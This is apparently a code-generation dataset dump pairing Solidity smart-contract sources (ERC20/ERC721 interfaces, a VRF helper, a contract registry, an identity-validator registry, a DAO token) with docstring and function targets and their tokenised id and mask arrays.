@dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract VRFRequestIDBase { /** * @notice returns the seed which is actually input to the VRF coordinator * * @dev To prevent repetition of VRF output due to repetition of the * @dev user-supplied seed, that seed is combined in a hash with the * @dev user-specific nonce, and the address of the consuming contract. The * @dev risk of repetition is mostly mitigated by inclusion of a blockhash in * @dev the final seed, but the nonce does protect against repetition in * @dev requests which are included in a single block. * * @param _userSeed VRF seed input provided by user * @param _requester Address of the requesting contract * @param _nonce User-specific nonce at the time of the request */ function makeVRFInputSeed( bytes32 _keyHash, uint256 _userSeed, address _requester, uint256 _nonce ) internal pure returns (uint256) { return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce))); } /** * @notice Returns the id for this request * @param _keyHash The serviceAgreement ID to be used for this request * @param _vRFInputSeed The seed to be passed directly to the VRF * @return The id for this request * * @dev Note that _vRFInputSeed is not the seed passed by the consuming * @dev contract, but the one generated by makeVRFInputSeed */ function makeRequestId(bytes32 _keyHash, uint256 _vRFInputSeed) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface LinkTokenInterface { function allowance(address owner, address spender) external view returns (uint256 remaining); function approve(address spender, uint256 value) external returns (bool success); function balanceOf(address owner) external view returns (uint256 balance); function decimals() external view returns (uint8 decimalPlaces); function decreaseApproval(address spender, uint256 addedValue) external returns (bool success); function increaseApproval(address spender, uint256 subtractedValue) external; function name() external view returns (string memory tokenName); function symbol() external view returns (string memory tokenSymbol); function totalSupply() external view returns (uint256 totalTokensIssued); function transfer(address to, uint256 value) external returns (bool success); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns (bool success); function transferFrom( address from, address to, uint256 value ) external returns (bool success); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
* @notice Return token metadata @param tokenId to return metadata for @return token URI for the specified token/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return revealed ? ERC721.tokenURI(tokenId) : placeholderURI; }
6,930,257
[ 1, 990, 1147, 1982, 225, 1147, 548, 358, 327, 1982, 364, 327, 1147, 3699, 364, 326, 1269, 1147, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 1147, 3098, 12, 11890, 5034, 1147, 548, 13, 1071, 1476, 5024, 3849, 1135, 261, 1080, 3778, 13, 288, 203, 565, 2583, 24899, 1808, 12, 2316, 548, 3631, 315, 654, 39, 27, 5340, 2277, 30, 3699, 843, 364, 1661, 19041, 1147, 8863, 203, 203, 565, 327, 283, 537, 18931, 692, 4232, 39, 27, 5340, 18, 2316, 3098, 12, 2316, 548, 13, 294, 6695, 3098, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >0.4.24 <=0.6.0; contract PolyRegister { struct registerEntry { uint id; address _Contract; string contractType; uint hashOfType; string[] needsType; uint[] hashOfNeeds; } mapping (string => address[]) public isInNeedOfType; //give type, get addresses in need; //note, can lookup the typeHash again when given the contract address back mapping (uint => address[]) public addressesInNeedOfHashType; mapping (uint => address) public hashAtAddress; mapping (uint => registerEntry) public registerToId; mapping (string => address) public typeAtaddress; mapping (address => string) public contractIsType; mapping (address => uint) public contractIsHash; mapping(uint => address) public hashOfContractToItsAddress; mapping(string => uint) public stringToHash; mapping(uint => string) public hashIsString; mapping(string => bool) public contractIsLive; mapping(uint => bool) public HashIsLive; address[] public defaultOperators; mapping(uint => uint[]) public registereryEntriesThatNeedHash; mapping(uint => address[]) public contractsInNeedOfHash; event NewContractRegistered (string name, uint hash, address foundAt, uint[] hashOfNeeds); event newFills (uint hash, uint[] hashesOfContracts, address[] contractsInNeed); string[] types; uint[] hashes; function getOperators () public view returns (address[] memory) { return defaultOperators; } function registerContract (string memory contractType, uint[] memory needs) public returns (bool[] memory, address[] memory) { uint inputHash = uint(keccak256(abi.encodePacked(contractType))); address[] memory solutions = new address[](needs.length); bool[] memory boolSolutions = new bool[](needs.length); registerEntry memory newEntry = registerToId[types.push(contractType)]; uint id = hashes.push(inputHash); // if(tx.origin == admin) { // defaultOperators.push(msg.sender); // } registerToId[id].id = id; registerToId[id]._Contract = msg.sender; registerToId[id].contractType = contractType; registerToId[id].hashOfType = inputHash; registerToId[id].hashOfNeeds = needs; typeAtaddress[contractType] = msg.sender; hashAtAddress[inputHash] = msg.sender; contractIsType[msg.sender] = contractType; contractIsHash[msg.sender] = inputHash; hashOfContractToItsAddress[inputHash] = msg.sender; stringToHash[contractType] = inputHash; hashIsString[inputHash] = contractType; contractIsLive[contractType] = true; HashIsLive[inputHash] = true; for(uint i=0;i<needs.length;i++){ uint hashOfNeed = needs[i]; registereryEntriesThatNeedHash[hashOfNeed].push(id); contractsInNeedOfHash[hashOfNeed].push(msg.sender); boolSolutions[i] = HashIsLive[hashOfNeed]; solutions[i] = checkIfNeedIsPresent(hashOfNeed); addressesInNeedOfHashType[hashOfNeed].push(msg.sender); isInNeedOfType[contractType].push(msg.sender); } emit NewContractRegistered (contractType, inputHash, msg.sender, needs); return (boolSolutions, solutions); } function checkIfNeedIsPresent (uint hashOfNeed) public returns (address) { if(HashIsLive[hashOfNeed]){ return hashOfContractToItsAddress[hashOfNeed]; } } function fillOthersNeedsIfPossible (uint hashOfNeed, address contractHoldingSolutionToNeed) public returns (address[] memory, uint[] memory) { //returns the addresses that need this new contract and the hash of their type address[] memory contractsInNeedOfThisSolution = addressesInNeedOfHashType[hashOfNeed]; uint[] memory hashOfTheContractTypeThatFitsSolution = new uint[](contractsInNeedOfThisSolution.length); for(uint i = 0; i<contractsInNeedOfThisSolution.length;i++) { hashOfTheContractTypeThatFitsSolution[i] = contractIsHash[contractsInNeedOfThisSolution[i]]; } emit newFills (hashOfNeed, hashOfTheContractTypeThatFitsSolution, contractsInNeedOfThisSolution); return (contractsInNeedOfThisSolution, hashOfTheContractTypeThatFitsSolution); } }
give type, get addresses in need; note, can lookup the typeHash again when given the contract address back
mapping (string => address[]) public isInNeedOfType;
2,496,985
[ 1, 75, 688, 618, 16, 336, 6138, 316, 1608, 31, 4721, 16, 848, 3689, 326, 618, 2310, 3382, 1347, 864, 326, 6835, 1758, 1473, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 6770, 261, 1080, 516, 1758, 63, 5717, 1071, 8048, 14112, 18859, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; // File: contracts/idv/CvcValidatorRegistryInterface.sol /** * @title CvcValidatorRegistryInterface * @dev This contract defines Validator Registry interface. */ contract CvcValidatorRegistryInterface { /** * @dev Adds a new Validator record or updates the existing one. * @param _name Validator name. * @param _description Validator description. */ function set(address _idv, string _name, string _description) external; /** * @dev Returns Validator entry. * @param _idv Validator address. * @return name Validator name. * @return description Validator description. */ function get(address _idv) external view returns (string name, string description); /** * @dev Verifies whether Validator is registered. * @param _idv Validator address. * @return bool */ function exists(address _idv) external view returns (bool); } // File: contracts/upgradeability/EternalStorage.sol /** * @title EternalStorage * @dev This contract defines the generic storage structure * so that it could be re-used to implement any domain specific storage functionality */ contract EternalStorage { mapping(bytes32 => uint256) internal uintStorage; mapping(bytes32 => string) internal stringStorage; mapping(bytes32 => address) internal addressStorage; mapping(bytes32 => bytes) internal bytesStorage; mapping(bytes32 => bool) internal boolStorage; mapping(bytes32 => int256) internal intStorage; mapping(bytes32 => bytes32) internal bytes32Storage; } // File: contracts/upgradeability/ImplementationStorage.sol /** * @title ImplementationStorage * @dev This contract stores proxy implementation address. */ contract ImplementationStorage { /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "cvc.proxy.implementation", and is validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0xa490aab0d89837371982f93f57ffd20c47991f88066ef92475bc8233036969bb; /** * @dev Constructor */ constructor() public { assert(IMPLEMENTATION_SLOT == keccak256("cvc.proxy.implementation")); } /** * @dev Returns the current implementation. * @return Address of the current implementation */ function implementation() public view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } } // File: contracts/upgradeability/Initializable.sol /** * @title Initializable * @dev This contract provides basic initialization control */ contract Initializable is EternalStorage, ImplementationStorage { /** Data structures and storage layout: mapping(bytes32 => bool) initialized; **/ /** * @dev Throws if called before contract was initialized. */ modifier onlyInitialized() { // require(initialized[implementation()]); require(boolStorage[keccak256(abi.encodePacked(implementation(), "initialized"))], "Contract is not initialized"); _; } /** * @dev Controls the initialization state, allowing to call an initialization function only once. */ modifier initializes() { address impl = implementation(); // require(!initialized[implementation()]); require(!boolStorage[keccak256(abi.encodePacked(impl, "initialized"))], "Contract is already initialized"); _; // initialized[implementation()] = true; boolStorage[keccak256(abi.encodePacked(impl, "initialized"))] = true; } } // File: contracts/upgradeability/Ownable.sol /** * @title Ownable * @dev This contract has an owner address providing basic authorization control */ contract Ownable is EternalStorage { /** Data structures and storage layout: address owner; **/ /** * @dev Event to show ownership has been transferred * @param previousOwner representing the address of the previous owner * @param newOwner representing the address of the new owner */ event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner(), "Message sender must be contract admin"); _; } /** * @dev Tells the address of the owner * @return the address of the owner */ function owner() public view returns (address) { // return owner; return addressStorage[keccak256("owner")]; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner the address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Contract owner cannot be zero address"); setOwner(newOwner); } /** * @dev Sets a new owner address */ function setOwner(address newOwner) internal { emit OwnershipTransferred(owner(), newOwner); // owner = newOwner; addressStorage[keccak256("owner")] = newOwner; } } // File: contracts/idv/CvcValidatorRegistry.sol /** * @title CvcValidatorRegistry * @dev This contract is a registry for Identity Validators (IDV). It is part of the marketplace access control mechanism. * Only registered and authorized Identity Validators can perform certain actions on marketplace. */ contract CvcValidatorRegistry is EternalStorage, Initializable, Ownable, CvcValidatorRegistryInterface { /** Data structures and storage layout: struct Validator { string name; string description; } mapping(address => Validator) validators; **/ /** * @dev Constructor: invokes initialization function */ constructor() public { initialize(msg.sender); } /** * @dev Registers a new Validator or updates the existing one. * @param _idv Validator address. * @param _name Validator name. * @param _description Validator description. */ function set(address _idv, string _name, string _description) external onlyInitialized onlyOwner { require(_idv != address(0), "Cannot register IDV with zero address"); require(bytes(_name).length > 0, "Cannot register IDV with empty name"); setValidatorName(_idv, _name); setValidatorDescription(_idv, _description); } /** * @dev Returns Validator data. * @param _idv Validator address. * @return name Validator name. * @return description Validator description. */ function get(address _idv) external view onlyInitialized returns (string name, string description) { name = getValidatorName(_idv); description = getValidatorDescription(_idv); } /** * @dev Verifies whether Validator is registered. * @param _idv Validator address. * @return bool */ function exists(address _idv) external view onlyInitialized returns (bool) { return bytes(getValidatorName(_idv)).length > 0; } /** * @dev Contract initialization method. * @param _owner Owner address */ function initialize(address _owner) public initializes { setOwner(_owner); } /** * @dev Returns Validator name. * @param _idv Validator address. * @return string */ function getValidatorName(address _idv) private view returns (string) { // return validators[_idv].name; return stringStorage[keccak256(abi.encodePacked("validators.", _idv, ".name"))]; } /** * @dev Saves Validator name. * @param _idv Validator address. * @param _name Validator name. */ function setValidatorName(address _idv, string _name) private { // validators[_idv].name = _name; stringStorage[keccak256(abi.encodePacked("validators.", _idv, ".name"))] = _name; } /** * @dev Returns Validator description. * @param _idv Validator address. * @return string */ function getValidatorDescription(address _idv) private view returns (string) { // return validators[_idv].description; return stringStorage[keccak256(abi.encodePacked("validators.", _idv, ".description"))]; } /** * @dev Saves Validator description. * @param _idv Validator address. * @param _description Validator description. */ function setValidatorDescription(address _idv, string _description) private { // validators[_idv].description = _description; stringStorage[keccak256(abi.encodePacked("validators.", _idv, ".description"))] = _description; } }
* @dev Returns Validator name. @param _idv Validator address. @return string/ return validators[_idv].name;
function getValidatorName(address _idv) private view returns (string) { return stringStorage[keccak256(abi.encodePacked("validators.", _idv, ".name"))]; }
10,770,259
[ 1, 1356, 9150, 508, 18, 225, 389, 350, 90, 9150, 1758, 18, 327, 533, 19, 327, 11632, 63, 67, 350, 90, 8009, 529, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 27368, 461, 12, 2867, 389, 350, 90, 13, 3238, 1476, 1135, 261, 1080, 13, 288, 203, 3639, 327, 533, 3245, 63, 79, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 2932, 23993, 1199, 16, 389, 350, 90, 16, 3552, 529, 6, 3719, 15533, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2022-03-13 */ //GeniusDAO - $GEXT //A DAO of Geniuses. Vote on treasury assets as a community. //@GeniusDAO - Telegram //geniusdao.finance - Dashboard // SPDX-License-Identifier: MIT pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller 